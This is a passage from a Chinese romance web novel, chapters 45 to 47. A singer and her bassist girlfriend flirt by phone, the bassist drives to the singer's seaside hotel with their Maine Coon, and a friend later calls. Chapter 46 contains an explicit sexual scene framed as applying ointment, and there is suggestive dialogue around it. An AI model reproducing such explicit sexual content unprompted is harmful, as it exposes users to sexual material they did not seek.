有人从柳听颂身后路过,听到零碎话语,还以为对方在哄一个离不开妈妈的小孩,暗暗感慨小孩可真粘人,幸好这位“母亲”包容又有耐心,表情只有心疼怜惜,没有厌烦。 “我看见了,”那人终于知道,粗略看了一遍后就将纸条捏成一团。 那人好像想说什么,闷闷了半天才道:“柳听颂对不起我……” 可柳听颂却没等她说完,便打断道:“宝宝还在哭吗?” “没、没有了,”终于反应过来的许风扰有些羞窘,那么大个人竟还会因为这种事情而哭泣。 “纸巾放在旁边,宝宝自己擦一擦好不好?” 许风扰乖驯地点了点头,随手往旁边一扯,便往脸上胡乱一抹。 “好乖的宝宝,”柳听颂在这时夸奖,将路人眼裏的好妈妈形象彻底坐实。 那人终于觉得有点不对,出声阻拦道:“柳听颂你别、别这样,很怪。” 她话风一转又问:“你现在在哪裏?” “我刚下飞机,”柳听颂回答,又道:“刚刚没办法接到宝宝的电话,对不起。” “这、这不是你的错,是我太着急了,是我乱想,”当理智开始回归,扎进死胡同的人终于开始转身,意识到自己的错误。 她闷闷道:“给你造成麻烦了。” “不是麻烦,”柳听颂轻笑了下,低垂的眉眼缱绻。 “我也很想一下飞机就和宝宝打电话。” “我应该把行程取消,”她轻轻柔柔地嘆了口气,十分遗憾道:“我想你醒来的第一眼就能看见我,想和你互道早安,也可以抱着什么话都不说,只要和你抱在一起就好,或者还可以更过分一点……” “希望三斤不要在外头挠门,打扰我们接下来要发生的事情。” 突然扭转的话风,让许风扰懵住,后知后觉才反应过来是什么,耳垂顿时泛起红。 可柳听颂语气更沉:“可是我把这一切都搞砸了。” “好后悔,我们应该会有一个很美好的早晨。” “我、柳听颂你,”那人结结巴巴,努力憋出一句:“你还在机场。” 试图提醒柳听颂还在公共场合,叫她不要太过分。 可柳听颂不仅没有收敛,还说:“宝宝,我的腿有点软。” “嗯,你昨天晚上很棒。” 许风扰骤然红了脸。 第45章 带娃千裏追妻 “你、你别……”扬声器中传出羞窘至结巴的话语。 “柳听颂!” 被惹恼的小狗就喜欢连名带姓地喊人, 自以为极具威慑力,实际眼尾的眼泪都没有擦干净。 隔着墨镜,柳听颂看见自己倒映在落地窗的眼睛, 微微一弯就有笑意潋滟而起, 盛满浓烈的春天。 “宝宝,”她轻轻呼喊着, 语气裏眷恋想念不加掩饰。 “我好想你。” 明明那么漫长的时间都熬过来了,可如今不过分别片刻,就被如蚂啃虫咬的想念包裹。 “海城今天的天气很好, ”她仰头看向远处的蓝天白云, 便道:“但我更喜欢S市的雨。” 那人没有回答, 手中的便利贴捏了又捏,已经变成硬邦邦的纸球。 光从厚重窗帘缝隙露出, 落在许风扰眉眼, 将她的面容分割成两半, 一半是泛红的眼尾, 水光潋滟, 一半极力压抑, 却依旧勾起的嘴角。 她不知如何回复, 只能小声道:“柳听颂你别说了。” 别说了,明明她周围空无一人,该做贼心虚的另有其人,但她还是放低声音,生怕被旁人听见。 “宝宝不喜欢我说这个?”被玻璃倒映的女人偏了偏头,发丝随之散落, 披着在肩膀。 “柳听颂你什么时候变得这么油嘴滑舌了,”她没有正面回答, “那宝宝是想让我再夸夸你吗?” “嗯……”她拖长语调,像在认真回忆,而后给出诚恳的答案:“我的腿很软,腰也很酸,如果不是梨子早上一直叫我的话,我应该会睡到很晚。” “柳听颂!”那人的声音再一次扬起,生怕对方再说出旁的过分话语。 可另一位却将这当做夸奖,继续道:“嗯,宝宝昨天晚上有点过分,一直不肯帮我,要我自己动,但是还好……” 身后的梨子还在等待,百无聊赖地踹着光滑地面,时不时看向周围,又很快低下脑袋。 路过的行人依旧匆匆,却在路过时投来惊艳视线,片刻停留后又不得不离开。 背对着他们的柳听颂却笑起,慢悠悠道:“反正只要能看见宝宝、在宝宝怀裏,我就能很快有反应,特别轻松就能……” “柳听颂!”惊恼的声音猛的冒出,却无法阻拦那个已落在唇边的字。 “高。” 话音刚落,许风扰就倒吸一口气,什么话都没能吐出,卡在嗓子中间,下不去也上不去,整个人都懵住,脸烫得厉害,耳边、脑子裏只剩下那个被绕得千回百转的“高”。 高 高。 高! 要命! 柳听颂到底知不知道自己在说什么! 要不是她现在已经坐起身来,估计还得蜷缩起来,往被子裏躲。 薄唇张张合合,愣是冒不出一句话,反倒落得个像在吞咽阳光的傻子模样。 怎么会有人、怎么会有人,能在那种场合,脸不红心不跳地说着这种话。 这让许风扰想起纪鹿南。 她结婚前的那会也是这般放浪形骸,每次飞机落地,就会有暧昧对象打来电话,她一边挂着蓝牙耳机,喊着亲爱的、宝贝,说着酸掉牙的情话,一边跟着她们往外走,顺带还能和接机的粉丝聊聊天,再签个名,三边都不误。 可许风扰又很清楚,柳听颂和纪鹿南不一样,她只会对她…… 柳听颂轻笑出声,依旧是那个撩人语调,却提起其他:“宝宝饿了吗?冰箱裏应该还有牛奶、” 话到此处又顿住,换成其他:“我给你点个外卖?” 她的话题转换得太快,让许风扰分辨不出到底是有人路过,还是柳听颂终于生出那么一点愧疚,不再故意戏弄撩拨。 那不上不下口气终于能够吐出,可残余的感受却又轻飘飘落下,化作说不明道不清的情绪。 “我记得周围有一家店的味道不错,”柳听颂自顾自道。 “我想先洗个澡,”许风扰终于出声,努力将自己别扭的语气压下。 “空腹洗澡对身体不好,”柳听颂温声劝道。 “吃完东西再洗好不好?” 许风扰抿了抿唇,垂落在床边的小腿晃来晃去。 不回答就是不乐意的默认。 柳听颂深知许风扰的脾气,又道:“再给你点个水果拼盘不要苹果不吃鱼对吗?” 许风扰低低“嗯”了声。 “好的,等会记得看手机,不要又因为关静音而看不见了。” “知道了,”许风扰有点不耐,觉得这对话奇怪,像是柳听颂在带不省心的娃一样。 柳听颂又哄道:“等你吃完了,再给三斤吃个猫条。” “行,”许风扰点了点头。 “我可能要在这边停留三天,你得看着点三斤,让它多运动,不要天天盯着自动喂食机看。” 试图靠近的梨子听到这裏,默默又往后退了一步,不理解也不明白,不懂就这点琐事为什么也能说那么久,* 这就是有家庭的人 那谈恋爱可真是太麻烦了。 话到此处,许风扰却没有第一时间答应,犹豫了下才道:“我想去找你。” 柳听颂明显愣了下,而后才温柔笑起:“那我叫梨子给你定机票?” 知道她心裏不安,非要瞧见人才行,没有一丝犹豫就同意。 反倒是许风扰慢了半拍,继而才闷闷道:“我自己可以。” 柳听颂语气无奈又遗憾:“我可能没办法抽出时间来接你。” “没事,你把酒店位置发我,”许风扰不大在意这些,对方是出门忙工作,空不出时间也正常。 柳听颂停顿了下,才小心问道:“那我加你?” 她到现在都没能加上许风扰的任何联系方式。 那人像是沉默了下,说了声好。 柳听颂瞬间露出欣喜神色,两人又说了几句才挂断,继而柳听颂转身,看向梨子就道:“你把阿风的联系方式发我。” 等到呆滞的梨子后知后觉,好半天才反应过来,这黏黏糊糊的两人到现在都没加过一个南畜 她眨了眨眼,最后还是识趣地将话语咽下,比老板先加到老板女朋友这种事,还是选择沉默比较好,免得自己老板又被刺痛一遍,威胁到她期待已久的下月奖金。 因耽搁时间较长的缘故,在外头等待许久的司机已催促了两回,所以两人不得不加快了离开的脚步。 轮子在地面快速滑过,人刚走到门外,便瞧见一群人围在那边,梨子本无意理会,可柳听颂却在余光一瞥后,突然转身向那边。 “姐!” 梨子表情一急,心道这又要冒出什么幺蛾子了?! 话说回来,她这一天也是怪了,先是一向守时的柳听颂差点睡过头,急得她一连打了四五个电话,才将人喊醒,然后大家一起急急忙忙往机场赶。 好不容易到了海城,一下飞机,她姐的手机就多了几百个电话,她在旁边瞧着,还以为是什么私生饭的骚扰电话,被吓得一激灵,脑子裏瞬间冒出一堆应对方案,结果竟是许风扰。 没办法,她只能看着柳听颂急急忙忙寻到一个安静角落,继而提心吊胆地等了半天,本以为事情已经过去,她姐却又又又跑了。 梨子苦着脸,最后还是不情不愿地跟在身后。 天杀的,谈恋爱的人都那么恐怖吗? 连她家清冷矜雅的大天后都不能免俗。 可人走到这边,她才察觉不对。 裏头是一位瞧着年纪稍大的女性,被四五个工作人员围在中间,一行人像在说什么。 工作人员急得几次抬手,试图比划。 而那名女性虽张着嘴,却只能发出含糊声音,手都要比划出残影了。 这是聋哑人 梨子急忙跟上。 而柳听颂已走进人群中,站定在那名女性面前,抬手就比划,那熟练程度比对面的人也不逞多让 那位女性瞧见这一幕,顿时露出欣喜神色,急急忙忙用手语和她交流起来。 连着几轮后,柳听颂才将手语翻译给旁边的工作人员,众人连连道谢,终于将这个难题解决。 其中像是有人察觉到柳听颂的身份,不过不等她多想,柳听颂就果断转身离开,徒留一脸疑惑的工作人员。 ———— 时间一转,便到四五个小时后。 场景切换到酒店。 全黑的大G绕进地下停车场,再等片刻,就有人提着超大号航空箱,推门而出。 一身黑的许风扰偏头耸肩,以此夹住手机,直到关上车门后,才得以抽出一只手,拿住手机。 扬声器裏的声音还在继续,是楚澄在嚷嚷。 “我的天祖宗,你这是在演什么戏码,没合适机票你就开车过去!千裏追妻也没你那么会演啊。” “开了几个小时啊你?” “四个,”许风扰绕到车后,便要拿提出行李箱。 提前等待在这的酒店员工快步上前,一人帮她将后备箱拉开,一人要帮她提航空箱。 许风扰没有阻拦,实在抽不出空,只能让人帮忙。 刚提到航空箱的员工手一沉,连忙两手一起拽住,虽看着超大号的航空箱有所准备,但真没想到这猫会那么重。 许风扰视线跟着移动,声音微沉说了句:“小心点。” 另一个员工提出的行李箱也不小,倒不是许风扰的行李多,三分之二都是三斤的。 随着一声响,后备箱被关上,许风扰脚步放缓,与前面领路的员工拉出一些距离,而后才有心思回应楚澄。 “有事” 她也是刚接到楚澄电话,早上、下午的两通电话都因不同原因挂断,现在刚到海城,楚澄又打过来。 “现在没事了,”那人好生无语,又解释道:“我们寻思着一起去看看况野的暗恋对象。” “那人不是把她甩了吗,还愿意见她?” “人家不是有个美甲店吗?总不能赶客吧。” 电梯裏的许风扰皱了皱眉,直白道:“你们要去做美甲” 这话一出,电梯裏的两个员工越发低头,极力降低存在感。 “对啊,”楚澄回答得理直气壮,又说:“我刚搜了,说弄个啥延长甲,加点钻石、珍珠、小亮片,能做五六个小时呢。” 许风扰憋了又憋,好半天才挤出一句:“谁做?” 楚澄理直气壮:“我们一起啊!” “人家店裏有三员工呢,要是她不肯见我们,只喊员工过来怎么办?我们四个人刚刚好,到时候一排坐在那裏,我看她哪裏往躲。” 许风扰欲言又止,跟着员工踏入房间,因是总统套房的缘故,入门先是客厅,房间还得绕几步,那员工还想帮她将行李提进去,却被许风扰挥手拒绝。 那两人又说了几句,而后才关门离开。 许风扰则蹲下身子,打开航空箱。 在裏头缩了许久的大猫,没有第一时间钻出,反倒躲在裏头喵喵几声,像在观察环境。 楚澄听到猫叫,又诧异道:“你把猫也带上了” “你这剧情也太带感了吧,性感小妈带娃千裏寻老婆X江文都没有过这剧情。” 许风扰懒得理她,只道:“我不做美甲。” 楚澄没好气道:“你都不在,我们去做什么?刚取消了。” 许风扰摸了摸三斤的脑袋,小心安抚,声音却不容置疑:“我做不了美甲。” “怎么我们都做得了,你就做不得了?!”楚澄声音一扬,就道:“你可不许有什么直1观念,都是女孩子,做个美甲怎么了?到时候我们一人十个小碎钻,再找个场地唱两首歌,迷死那些小粉丝。” 许风扰皮笑肉不笑,只道:“我不做。” “你要为姐妹的幸福着想啊,你不做我不做,况野什么时候能脱单?” “你倒是带球追妻去了,我们况野还沉浸在被老婆甩了的痛苦裏,多可怜。” 看见三斤终于冒出个脑袋,许风扰心中一松,便道:“我没办法做美甲。” 她倒没有多少抵触,圈子裏有不少人喜欢做美甲,尤其是贝斯手、吉他手,最喜欢做个黑漆漆的底色,往臺上一站,随便拨一拨弦,觉得自个特酷。 但什么延长甲、钻石、小亮片还是算了,到时候弹起贝斯,甲片裂、钻石飞,最可怕的是面板被刮花,琴弦断开,都没个地哭。 万一再被臺下粉丝误会,以为她们是在偷偷掉装备,给粉丝发福利,兴冲冲挤成一堆要抢的话,许风扰不敢想那个场面会有多混乱,要是出现踩踏事件,那便更麻烦了。 楚澄没听懂,还在嚷嚷:“我们都能做,怎么你就不行了?!” “是不是姐妹!是不是姐妹!是不是好姐妹!”楚澄掏出道德绑架三件套。 可许风扰抿了抿唇,仍没有松口:“我不方便。” “怎么就不方……”楚澄似乎想到了什么,声音戛然而止。 “嗯,”许风扰肯定了她的想法,并加重语气道:“很影响,很不方便。” 若被柳听颂听到,不知会想什么,在她那边支支吾吾、说不出完整句子的人,对朋友反倒直白。 “你你你,”楚澄愣是说不出一句话来,最后只没好气地冒出一句:“您节制点吧,别等过两天排练,您贝斯都拿不稳,到时候我们就一起在S大舞臺上讲脱口秀好了。” “不至于,”许风扰看着缅因终于踏出航空箱,探头探脑地向周围张望,那么大只猫愣是表演出了小耗子的胆怯。 她笑了下,不知是笑猫还是其他,只道:“她没那么厉害。” “你你你,”单了许久的楚澄实在憋不出什么,气得直接挂断电话。 许风扰没再打回去,随意看了眼屏幕,给柳听颂发了个消息就关上,起身就去收拾行李。 她这趟行程决定得匆忙,原本的洗澡计划都被耽误,只匆匆扒了几口饭就出门,现下开了那么久的车,便更加让人难以忍受,将行李箱一开就要取出换洗衣物。 衣服被拽起间,被藏在裏头的药盒也被翻出,许风扰身体莫名一僵,摸了摸鼻尖后,才将药盒拿出,摆到一边桌面。 昨夜做得过分,后面又昏昏沉沉来不及处理,只能带些药膏过来,等柳听颂回来再涂抹。 思绪被压下,许风扰拿着衣服就起身,快步往浴室走。 不久后水声响起。 外头的银白缅因转来转去,将新地盘环绕了一圈后,终于在沙发上选了一个舒服位置,尾巴一甩,蜷缩成一大团,悠哉悠哉舔起毛。 而另一边的柳听颂低头看向手机,清冽疏离的眉眼舒展开,恰好被单反捕抓到那一点抬头后又消失不见的暖意。 “这张的状态很不错,柳姐你换个衣服,我们再多拍几张?”摄影师满意地点了点头。 可柳听颂却道:“今天就这样吧,我已经让助理定了周围的饭店,今天辛苦大家了,我请大家吃饭。” “奔波劳碌,我就暂且失陪了。” 众人听到这话,便都笑起,连声说好。 第46章 涂药 柳听颂赶回的时候, 已是日落将尽时。 等候已久的大胖猫以沉重姿态,“嘭”一下跳到地板上,紧接着一面发出急切的喵喵声, 一面迈着慢悠悠的小猫步走向柳听颂, 明明很着急又要装矜持。 傲娇的大猫。 它刚走到柳听颂面前,便整个趴下, 露出毛茸茸的柔软肚皮,摆出要被摸摸的架势。 柳听颂只好蹲下来,挠了挠了猫咪下巴, 又摸摸它的脑袋。 缅因眯着眼, 发出咕噜咕噜的声音, 很是享受。 但这个时间没有维持多久,哄了片刻就起身, 柳听颂更惦记着更裏头的人, 连平常最喜欢的宠物都被暂时搁在一边。 裏头的房间尚未开灯, 任由窗外黄昏涌入, 角落裏生出漆黑, 如同一场黑与白博弈, 将房间分作界限模糊的两部分。 而许风扰坐在落地窗前, 陷在深灰单人沙发裏,外面是起起伏伏的浅色海面,地上被随意丢弃的几张纸页,像是写画了什么,如同鬼画符般杂乱,而丢在旁边的手机还在放着歌, 将屋裏沉闷的气氛缓解,空气裏还残留着牛奶沐浴露的甜香。 柳听颂没有出声惊扰, 明明来时还在催促司机快些,此刻反倒不着急了。 她靠在门边,视线落在许风扰身上。 因沙发遮挡的缘故,只能瞧见些许轮廓,那人穿着白底无袖,半湿的白发贴在肩颈,水珠滴落在粉色樱花装饰上,将花瓣点缀得鲜活。 视线偏移,停留在旁边的桌面。 之前拿出的药盒,又被欲盖弥彰地塞进购物袋裏,裏头还有盒草莓味的酸奶,外加凑单买的湿纸巾。 柳听颂提起袋子往前,塑料袋在摩擦中,发出嘈杂响声,扰得许风扰回头看来。 脸颊处还残留着被水雾熏出的红,纤细脖颈更是杂乱,全是用粗粝澡巾搓出的印子,不知道这人使了多大的劲,与纤长瘦削的躯体相衬,便显得薄弱而易碎。 “你回来了?”那人声音懒洋洋的,有一种许久未开口的低沉。 “嗯,”柳听颂轻轻开口,又问:“怎么不躺着休息一会” “想等你,”许风扰抬起眼,定定看着她,碧色眼眸被窗外火烧云晕染,竟让人瞧出几分眼巴巴的意味,像摇着尾巴、要主人抱的小狗…… 也不对。 应该像外面的那只缅因,甚至比缅因更恶劣。 毕竟三斤还会跳下沙发,喵喵着向柳听颂走来,而许风扰一动不动,明明眼眸裏写满了要柳听颂抱、要贴、要亲,可实际连手臂都不曾抬起。 柳听颂不会不如她所愿,比对外面的那只大猫更有耐心。 塑料袋落在地上,她侧坐向对方大腿,抬手就勾住对方脖颈,长时间相处留下的默契,让两人不必说太多,就可以调整至合适姿势,无比契合地贴在一块。 “好想你,”柳听颂声音放柔,餍足般的嘆息声从唇齿间洩出,幽幽被风吹散。 许风扰低着脑袋,将下巴搁在对方肩膀,揽腰的手更紧。 两人暂时无言,像是在弥补早晨没有相拥而醒的遗憾,只能以此重演一遍。 随之橘日消失在海平面,窗外的红烧云更浓,肆意燃烧着,欲将广阔海面一并点燃。 但方才愣愣凝视着它的观众,却早已挪开视线,拽着柳听颂的手,捏过对方的每一处骨节。 柳听颂没有抽回,指尖灵活钻入对方指间,便与之十指紧扣。 片刻之后,她主动提起了话语:“怎么会开车过来” “没有合适的机票,”许风扰收了收指节,回握住对方。 “我记得七点左右还有一班” “太慢了,”许风扰小弧度地摇了摇脑袋,又道:“还不能带宠物。” 比起楚澄,她显然对柳听颂更有耐心,也愿意解释两句。 “我不想把猫留在家裏,”她继续补充:“好可怜。” 也不知道是在说缅因,还是她自己。 柳听颂哑然失笑,语气嗔怪:“那也不能那么着急,你昨晚刚喝过酒,又一个人开车过来,不安全。” 许风扰对她的回答有所不满,便不肯接话,反倒对着柳听颂耳垂吹了口气,当做小小的报复。 “下次不许这样了,”柳听颂一边往她怀裏躲,一边告诫。 许风扰不理她,只说:“袋子裏有草莓酸奶。” 很差劲地转移话题。 “乖嘛,”柳听颂不想被她这样敷衍过去,拖长语调试图央求。 这人也是过分得很,竟用出先斩后奏这一招,甚至人都到海城了,还避开柳听颂,偷偷给梨子消息,说她已经带着三斤开车赶来,让梨子给她发房间号。 幸好梨子是个藏不住事的,柳听颂眼神一扫就全交代干净。 “喝酸奶,等会就不好喝了,”许风扰不理她,自顾自地继续。 “喝完你就答应我?”年长的那位开始迂回。 许风扰抿紧唇,垂眼盯着她。 两人挨得近,而许风扰又是极具攻击性的浓颜长相,如此靠近,便有一种蛊惑人心的惊艳感。 柳听颂偏开眼,美人计也没有用,在这事上拒绝妥协。 许风扰就伸手去掏袋子,吸管一插就往柳听颂怀裏塞。 “喝,”她言简意赅。 从来没见过那么霸道的转移话题方式。 柳听颂好气又好笑。 许风扰见她不动,又攥着她捏着酸奶的手往上抬,将吸管递到唇边。 最后还是柳听颂屈服,低头咬住吸管,但心裏已将此事记住,暗暗盘算着其他阻拦的法子。 说来好笑,那酸奶盒子的包装幼稚,像是小孩子的简笔画,而柳听颂却打扮却成熟,发丝盘在脑后、银边窄框眼镜、复古的廓形西装,知性而疏离,所以她更应该捏着漂亮的陶瓷杯,摇晃着裏头的黑咖啡,而不是那么可爱的草莓酸奶。 可柳听颂却抿住,也不知道是不是故意,唇边沾染上一点奶白。 许风扰抬起手,想替她擦拭,可柳听颂却快一步抬头,意味不明道:“我记得袋子还有别的东西。” 许风扰明显僵了下,躲开对方视线。 “嗯、药,”她试图含糊过去,终究比不过年长那位,脸皮薄得很。 “是什么药?”柳听颂笑盈盈地明知故问。 “擦、擦的,”在陷阱边缘的许风扰极力挣扎。 “哦”柳听颂点了点头,舌尖扫过唇边奶白,轻笑出声道:“擦哪裏的?” 许风扰被逗急了,便斜眼瞥她。 那人就笑,垂手勾起袋子,扯出一张湿纸巾就往许风扰手裏塞,也不直说,反而拐着弯道:“宝宝真好。” 她还咬着那瓶草莓酸奶,却喊着别人宝宝。 许风扰眼帘颤了下,最后还是没能说出拒绝的话,不管怎样,造成这一切的都是自己,理应负责。 湿纸巾细细擦拭过每一根手指,连掌心都没放过,连着换了三张后才停下。 柳听颂恰时递上药膏。 许风扰默默看了她一眼。 酒红衬衫被解开,黑色内衣变得松垮,皮带落在地上。 指尖沾上药膏,落在锁骨下的圆弧上,确实如许风扰回忆裏的那样,吻///痕与牙印交织,尤其是那颜色略深的地方,本就更脆弱些,还被许风扰用牙叼着拽住,便红肿得厉害,看起来很是可怜。 许风扰眉眼低垂,指尖力度更轻。 吸管被咬扁,留下一个又一个凹坑,毫无遮挡的腰肢,纤薄得像是轻轻一掐就能折断的花茎,随着略重呼吸,起起伏伏。 “今天被磨得好难受,”她在这时突然开口,带着些许委屈的抱怨语气,有意无意地挑拨。 “但没办法不穿内衣,衬衫太薄了。” 许风扰停顿了下,明明还覆着一层清凉的药膏,但指尖却好像触碰到火炭一般,灼热得很。 她只能躲开,将药膏涂抹得更厚,动作则更轻且快。 许是有点凉了,毕竟是经常用衣物裹着的地方,如今就这样明晃晃袒///露着,终究有点不适应,故而挺立着,像要抵住许风扰的指腹,与之对抗。 “有点奇怪,宝宝,”柳听颂又开口,声音更柔。 你也知道奇怪。 许风扰暗自嘀咕了句。 柳听颂就笑:“好像变成小孩子了一样,要被大人抱在怀裏、含着糖才能打针。” 隔着玻璃镜片,那染上艳丽的深邃眉眼带着摄人心魂的韵味,分明应该是处于弱势的那一位,却掌控着全部节奏,像是树林深处圈获猎物的荆棘,一点一点收紧,慢慢将猎物束在圈套裏。 “别闹,”许风扰终于说出两个字,带着些许威慑力的警告。 柳听颂却轻嘶了声,幽怨冒出一句:“疼。” 明明还是刚刚那样,没有一点变化,可许风扰一凶,她就喊起疼。 “宝宝,”那人软着声音就央求道:“帮姐姐揉揉好不好?” 指尖又僵住,还没有来得及思考决定,就被人拽着手腕往下压。 “你昨天都不肯帮帮我、”柳听颂翻起旧账,眼帘扑扇就变得水蒙蒙的,控诉道:“我把自己掐得好痛。” 是了,上头那些斑驳指痕不属于许风扰,是柳听颂自个在失控时捏出,她那时既要自己来,又得捧着喂许风扰,总有一边会控制不住力度,就造成现在这番可怜模样。 许风扰默了默,却道:“刚刚楚澄打电话找我。” “嗯?”那人不知许风扰为什么会突然提起这个,却配合着提问。 压在圆弧的指腹下陷,将那些淤青一一揉开,碧色眼眸更暗,染上浓郁夜色,又不是什么都不懂、什么都没经历过,年少时就与怀裏这位经历许多,不然也不会在楚澄面前,那么坦然无惧,只是年长者太会,哪怕是颇有经验的小狗也招架不住。 但现在…… 有人都步步逼近,几乎将勾///引两字摆明,她又怎么会无动于衷。 反正她已经警告过了。 “她叫我去做美甲,”到了这个时候,许风扰竟不紧不慢。 “为了小野那个前任?”柳听颂很聪明,即便分着神,也能推断出事情来龙去脉。 “嗯,”许风扰答应了声,又说:“幸好我开车提前跑了,不然今儿就走不掉了。” 她这话就有点夸张了,若是她一心想走,楚澄几人又怎么可能拦得住她,明摆着要将之前事情敷衍过去。 “那也不行,大不了就留一天,安全最重要,”年长者就这样,把教育排在勾///引之前,把这些东西看得很重,宁愿放弃之前的旖旎,也要说着这种不解风情的话。 许风扰松开手,又拆开另一支药膏,细细将药涂抹至指根。 “你很想让我做个美甲?”许风扰漫不经心的反问。 “你喜欢的话也可以,”柳听颂没多想。 “不要,”许风扰的态度突然坚决。 她说:“不方便。” 西裤顺着小腿滑落,又被足尖勾住,虚挂在脚踝,要坠不坠。 像是为了印证柳听颂在机场所说的那些话,单薄布料早已染上水迹,指尖刚落就开始颤。 可许风扰没有停留,勾着布料就往裏,接着润////滑药膏就探入。 柳听颂突然闷哼一声,酸奶落地,手紧紧拽住许风扰衣领。 “橙子叫我节制点,别到时候连贝斯都拿不起来,”许风扰又绕回之前的话题。 柳听颂没能回应,说不出回应。 “我说不用。” 许风扰轻笑了下,低头看向柳听颂,慢悠悠道:“你不行。” 垂在半空的小腿绷紧,被西裤半遮的趾尖蜷缩。 柳听颂想要反驳,却能说出其他,将另一人的衣领揪得全是褶皱,止不住的喘///息。 “老师,”许风扰声音依旧,懒洋洋的戏谑感。 “嗯”柳听颂努力挤出一声气音,虽有准备,但这样的做法还是太快了,没有任何停顿徘徊,就这样一下子往裏,压进最裏头。 眼眸中的黑白不再分明,整个人都浮现出清软的嫣红色,原本清冽知性的感受都化作软趴趴的可欺。 她仰起下颌,试图贴近讨吻。 可许风扰却偏头躲开,斥道:“别闹,还在涂药呢。” “唔,”柳听颂说不出旁的话,只能露出委屈表情。 另一只手警告似的拍了拍,又故意掐住,柔软细腻的腿部肌肤像温水一样浸润着指节、掌心。 许风扰又斥道:“别夹,动不了。” 她表情很正经,好像真的无欲无求,只在为柳听颂涂药而已。 好脾气的人也蹙起眉,不甘反驳了句:“没有。” 许风扰笑了声,便好像证明一般地动了下,又反问道:“这还没有?我都动不了。” 柳听颂腰一软,还得强撑着说:“没有。” “这还没有?”许风扰再次证明。 “没、”这次连话都没办法说完整了,柳听颂埋在她怀裏,不断喘///息,发丝垂落间,露出曲起的天鹅颈,薄皮下的骨节明显,显得柔弱而精致。 远处的火烧云已淡去,只剩下些许橘红余光,只述说着之前的绚烂。 天空中已冒出几点碎星,又风吹来的浅灰薄云盖住,只有淡淡弯月留下。 漆黑夜色赢得这次争夺的胜利,肆无忌惮随着海浪涌来,将半边天都浸上深且浓的黑墨。 未开灯的房间更黑了,只有落地窗前还残留着些许光亮,两个人都陷入半明半昧的模糊裏。 旁边的手机还在放歌,不知随机跳到了那一首,悬在脚踝的西裤终于落地,堆积成一摞小山,掺着药膏的水顺着指尖滑落至手腕,不断往地面滴。 “老师你克制一点,”许风扰又说,语气略微严厉:“药膏都没了。” 她虽这样说,好像十分尽责的模样,可指尖却勾起,压住略微粗糙处。 怀裏那位根本无法反驳,甚至想不明白明明昨夜并没有如此,受伤的地方都在外面,许风扰却将要涂抹在别处。 冰凉药膏与粗粝指腹,两种感受交彙在一起,不断撩///拨着紧绷的弦。 本能在催促着逃避,可她却避无可避,早就将自己送到旁人怀裏中,连小腿的悬空,一点力气都没有,只能像只摊开肚皮的猫,仍由人类恶劣欺///凌。 突然的战栗,腰腹骤然如弓绷紧,地上的水洼突然扩散开,在月光下反出粼粼光亮。 许风扰无辜地眨了眨眼,说:“完了,好像还得重新涂一遍。” 柳听颂呼吸急促,只能抬眼嗔她。 而那人却还在装,很是正经地劝道:“听颂老师,你乖一点。” “虽然我知道你很不行,”许风扰停顿了一下,又想起白日裏的对话,唇角掀起些许,补充道:“特别是在我面前,看着我的时候,很容易就……” “高。” 之前的话成了晚上的回旋镖,恶劣的小狗将羞郝一一奉还给对方。 “但你还是要努力忍耐一下,好吗?” 回应她的是柳听颂拽紧衣领,堵住她喋喋不休的嘴的吻。 “坏东西,”有人又恼又怨,含糊冒出一句。 “坏狗,”她仍然不解气。 “坏宝,”又是一声毫无威慑力的责怪。 夜色更重,海面上的火烧云彻底消失不见,只剩下碎星与月,蔚蓝海面无声倒映着天空。 近处的沙滩有人嬉笑走过,在沙滩上留下排排脚印,有很快被海水淹没侵蚀。 被关在房间外的缅因自顾自玩了一会,又乐颠颠地往自动投食机跑,目光炯炯地盯着它看,只见片刻之后,就有一声“滴”声响起,颗颗猫粮顿时涌出,还没有堆积起来,缅因就探出个大猫脑袋,大口大口咬住。 之前的药盒掉落在地,药膏再一次覆在指尖,这一次比之前更顺利,轻易就滑入。 “老师,别克制一点。” 还没有说完的话语被其他声音盖住,被揪住的衣领更乱。 第47章 落地窗 百公裏外的S市。 况野站在巷子角落, 斜靠着斑驳的红砖墙,手裏的防风打火机开开合合,火苗在打火石的摩擦下燃起又熄灭, 映出她纠结的眉眼。 前头的小吃街热闹, 不同摊贩都在叫嚷,串好的小串往油锅裏一倒, 便冒出浓郁香气,旁边的首饰摊挂着一堆闪亮亮的银饰,在灯光下格外耀眼。 况野看了一圈后, 视线又挪回斜对面的小店。 店铺不大, 不过三十几个平方, 却塞满了各种东西,但因摆放整齐的缘故, 并不显得拥挤, 甚至每张小桌前都坐满了人, 看起来生意很好。 打火机又一次合上, 发出清脆声响。 徘徊许久的视线还是禁不住诱惑, 转向玻璃窗裏, 那个正捏着客户的手, 笑容轻快又明艳的女人。 她谈了三天就分手的前任。 白日裏的不靠谱计划,因许风扰的离开而暂时终止,她那时还在修车厂中,也不知道是遗憾还是松了口气,把手机一丢就钻到车底,以惯性维持着往日的节奏。 可修车不是简单的流水线工程, 当她仰躺在修车躺板上,盯着那些繁琐的零件时, 头一次觉得复杂,像是在看着路线缭乱的迷宫,许久都没有找到出口。 她就这样发了一个小时的呆,然后默默把自己推出来。 她终于意识到,自己的生活确实因为一个人的出现,而产生了滞缓,像是四周的一切都被胶水淹没,粘稠而缓慢。 以至于她不知道该做什么,抬起手机后才瞧见许风扰发来的消息,非常简短的一句话。 【喜欢她就去找她】 况野接受了这个建议,并在短时间内赶到了对方的美甲店门口,但如何踏入其中,用什么理由和对方说话,却成了阻挡她往前的最大问题。 她深吸了一口气,纹在锁骨中间、巴掌大的红色残缺蝴蝶,便跟着呼吸起伏扑翅,像是随时都可以飞走。 但况野飞不走,她被拴住了。 与此同时,玻璃窗内的女人伸了个懒腰,余光瞥向这裏,又很快就收回,像是早就察觉到外头的人,却没有理会,下一秒就笑盈盈看向对面,夸赞着客人今天的妆容。 楚澄踹开面前的石子,纠结了半天,最后将手机掏出。 屏幕随之亮起,她与许风扰的聊天页面,还停留在之前的那句话上,指腹摩擦着手机边缘,好半天才下定决心拨打。 而许风扰接通的速度很慢,几乎是到最后一声“嘟”时,才同意了通话。 “怎么了?” “阿风,我……”况野脱口而出的声音急切。 可下一秒她就止住,慢半拍地辨认出对方声音中的沙哑,以及那浓郁得无法化开的情欲,她虽没谈过什么恋爱,也不曾经历过这些,但好歹也是个成年人,很难什么都不知道。 马丁靴像是黏地板上,冒出打断别人好事的尴尬与无措。 “我、”她张了张嘴。 被置于耳边的手机声音清晰,尽职地传出那极力克制后的细微声响。 窸窣的布料摩擦声、女人被捂住嘴后的闷闷呜咽、许风扰微重的呼吸,还有分不清是不是海浪的拍打声。 